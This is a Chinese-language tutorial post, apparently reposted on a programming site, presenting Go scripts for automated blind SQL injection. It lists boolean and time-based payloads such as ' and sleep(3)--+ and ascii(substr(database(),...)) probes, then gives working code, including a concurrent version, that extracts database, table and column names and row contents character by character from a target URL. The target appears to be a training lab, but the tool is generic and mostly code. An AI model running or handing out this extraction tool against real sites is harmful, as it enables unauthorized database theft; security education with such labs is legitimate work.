Golang 盲注脚本
2022/2/21 6:26:24
本文主要是介绍Golang 盲注脚本,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Golang 盲注脚本
payload部分
其中脚本最重要的环节就是payload
部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果。(还有如何绕过waf等等。。。)
bool盲注
下面是最基础的布尔型盲注的payload
' and length(database()=n)--+ ' and (ascii(substr(database(),1))=110 --+ ' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=2 --+ ' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=128) --+ ' and length((select column_name from information_schema.columns where table_name='emails' limit 0,1))=2--+ ' and length((select id from emails limit 0,1)>1)--+
时间盲注
下面是时间盲注的payload
' and sleep(3)--+ ' and if(length(database())=8,sleep(3),1)--+ ' and if( payload ,sleep(3),1)--+ ' and if((ascii(substr(database(),1))=115),sleep(3),1)--
脚本思路
脚本思路也比较简单(只针对GET型注入,POST型同理)
布尔型
对于布尔型盲注,配合构造好的payload
发起GET请求,检查响应体中是否有我们的判断依据。先判断出库名、字段名、表名对应的长度,将其作为参数构造循环,搭配limit
来逐位判断。
package main import ( "fmt" "io/ioutil" "log" "net/http" "net/url" "strings" ) //发送get请求 func getRequest(payload string) bool{ payload = url.QueryEscape(payload) resp, err1 := http.Get(urlL + payload) if err1 != nil { log.Fatalln(err1) } body, err2:= ioutil.ReadAll(resp.Body) if err2 != nil { log.Fatalln(err2) } defer resp.Body.Close() if strings.Contains(string(body), "You are in...........") { return true } return false } //判断长度的方法 func testLength(payload string) int { var result int for i := 0; i < 50; i++ { payloadDbLength := fmt.Sprintf("' and length(%s)=%d-- ", payload, i) f := getRequest(payloadDbLength) if f { result = i break } } return result } //逐位判断的方法 func testName(payload string, length int) string{ var result string for i := 1; i <= length; i++ { for j :=32 ; j <= 128; j++ { payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, j) f := getRequest(payloadDbName) if f { result += string(rune(j)) fmt.Println(result) } } } return result } //该方法用于指定字段和表名的判断,需要给定参数表名和字段名 func testContext(tableName, columnName string) { ctxList := make([]string,0) for i := 0; i < 50; i++ { ctxPayload := fmt.Sprintf("(select %s from %s limit %d,1)", columnName, tableName, i) ctxLength := testLength(ctxPayload) if ctxLength == 0 { break } ctx := testName(ctxPayload,ctxLength) ctxList = append(ctxList, ctx) fmt.Println(ctx) } fmt.Println(ctxList) } func sqlInjectBaseBool() { dbPayload := "database()" dbLength = testLength(dbPayload) fmt.Println(dbLength) dbName = testName(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testName(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLength(columnPayload) if columnLength == 0{ break } columnName := testName(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) }
时间型
同上布尔型,发送GET请求,不过判断的依据位服务器的响应时长是否超过了我们sleep()
函数中设定的时间。
package main import ( "fmt" "log" "net/http" "net/url" "time" ) //发送get请求。判断响应时长是否大于预定时间 func getRequestBaseTime(payload string) bool{ payload = url.QueryEscape(payload) //fmt.Println(payload) startTime := time.Now() resp, err1 := http.Get(urlL + payload) if err1 != nil { log.Fatalln(err1) } defer resp.Body.Close() endTime := time.Now() usedTime := endTime.Sub(startTime) if usedTime >= 3 * time.Second { return true } return false } //判断长度的方法 func testLengthBaseTime(payload string) int { var result int for i := 0; i < 50; i++ { payloadDbLength := fmt.Sprintf("' and if(length(%s)=%d,sleep(3),1)-- ", payload, i) f := getRequestBaseTime(payloadDbLength) if f { result = i break } } return result } //判断表名、库名等的方法 func testNameBaseTime(payload string, length int) string{ var result string for i := 1; i <= length; i++ { for j :=32 ; j <= 128; j++ { payloadDbName := fmt.Sprintf("' and if((ascii(substr(%s,%d))=%d),sleep(3),1)-- ", payload, i, j) f := getRequestBaseTime(payloadDbName) if f { result += string(rune(j)) fmt.Println(result) } } } return result } func sqlInjectBaseTime() { dbPayload := "database()" dbLength = testLengthBaseTime(dbPayload) fmt.Println(dbLength) dbName = testNameBaseTime(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testNameBaseTime(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLengthBaseTime(columnPayload) if columnLength == 0{ break } columnName := testNameBaseTime(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) }
关于并发
下面代码是对布尔型盲注的并发代码。时间上大概会快一倍。
在逐位进行猜解时,通过循环添加工人(添加线程),对ascii值进行多线程的判断。
逻辑也比较简单,时间盲注也可以使用此逻辑。。
但是仍存在问题没有解决:程序刚开始执行速度很快,但是到后面速度会下降到与不并发一样。。不太理解这里存在的问题。。。
package main import ( "fmt" "sync" ) func sqlInject() { dbPayload := "database()" dbLength = testLength(dbPayload) fmt.Println(dbLength) dbName = testWorker(dbPayload,dbLength) test = "" fmt.Println(dbName) for i := 0; i < 20; i++ { tablePayload := fmt.Sprintf("(select table_name from information_schema.tables where table_schema=database() limit %d,1)", i) tableLength := testLength(tablePayload) if tableLength == 0 { break } tableName := testWorker(tablePayload, tableLength) test = "" tableList = append(tableList, tableName) fmt.Println(tableName) } fmt.Println(tableList) //tableList := []string{"emails", "referers", "uagents", "users"} for _, tableName := range tableList { columnList := make([]string,0) fmt.Println(tableName) for i := 0; i < 20; i++ { columnPayload := fmt.Sprintf("(select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1)", tableName, i) columnLength := testLength(columnPayload) if columnLength == 0{ break } columnName := testWorker(columnPayload,columnLength) test = "" columnList = append(columnList, columnName) } tableAndColumns[tableName] = columnList } fmt.Println(tableAndColumns) } //工人函数,从asciiCode这个通道内取出数据来判断。。 func worker(asciiCode chan int, payload string, i int, wg *sync.WaitGroup) { for code := range asciiCode { payloadDbName := fmt.Sprintf("' and (ascii(substr(%s,%d))=%d)-- ", payload, i, code) f := getRequest(payloadDbName) if f { test += string(rune(code)) fmt.Println(test) //close(asciiCode) } wg.Done() } } func testWorker(payload string, length int) string{ //var result string var wg sync.WaitGroup for j := 1; j <= length; j++ { //缓冲通道的容量也可以设置的大一些,可以稍微提升性能。 asciiCode := make(chan int,10) for i := 0; i < 10; i++ { go worker(asciiCode, payload, j, &wg) } for i := 32; i <= 128; i++{ wg.Add(1) asciiCode <- i } wg.Wait() close(asciiCode) } return test }
踩坑
发起的GET请求中,URL字符串必须先进行编码。
如果直接使用GO的方法发起请求,由于字符串时没有经过编码处理的,特殊符号无法被服务器识别,就会产生400报错。
可以先手工对要发起的请求进行URL编码,也可以使用url.QueryEscape()
。
当你使用此函数时,会返回一个经过编码的字符串,其中所有的特殊符号都会经过编码。但是通常注入时,在URL中输入的+
会被认为是一个空格。所以在payload中需要把+
号换成空格。
这篇关于Golang 盲注脚本的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-24MongoDB资料:新手入门完全指南
- 2024-12-20go-zero 框架的 RPC 服务 启动start和停止 底层是怎么实现的?-icode9专业技术文章分享
- 2024-12-19Go-Zero 框架的 RPC 服务启动和停止的基本机制和过程是怎么实现的?-icode9专业技术文章分享
- 2024-12-18怎么在golang中使用gRPC测试mock数据?-icode9专业技术文章分享
- 2024-12-15掌握PageRank算法核心!你离Google优化高手只差一步!
- 2024-12-15GORM 中的标签 gorm:"index"是什么?-icode9专业技术文章分享
- 2024-12-11怎么在 Go 语言中获取 Open vSwitch (OVS) 的桥接信息(Bridge)?-icode9专业技术文章分享
- 2024-12-11怎么用Go 语言的库来与 Open vSwitch 进行交互?-icode9专业技术文章分享
- 2024-12-11怎么在 go-zero 项目中发送阿里云短信?-icode9专业技术文章分享
- 2024-12-11怎么使用阿里云 Go SDK (alibaba-cloud-sdk-go) 发送短信?-icode9专业技术文章分享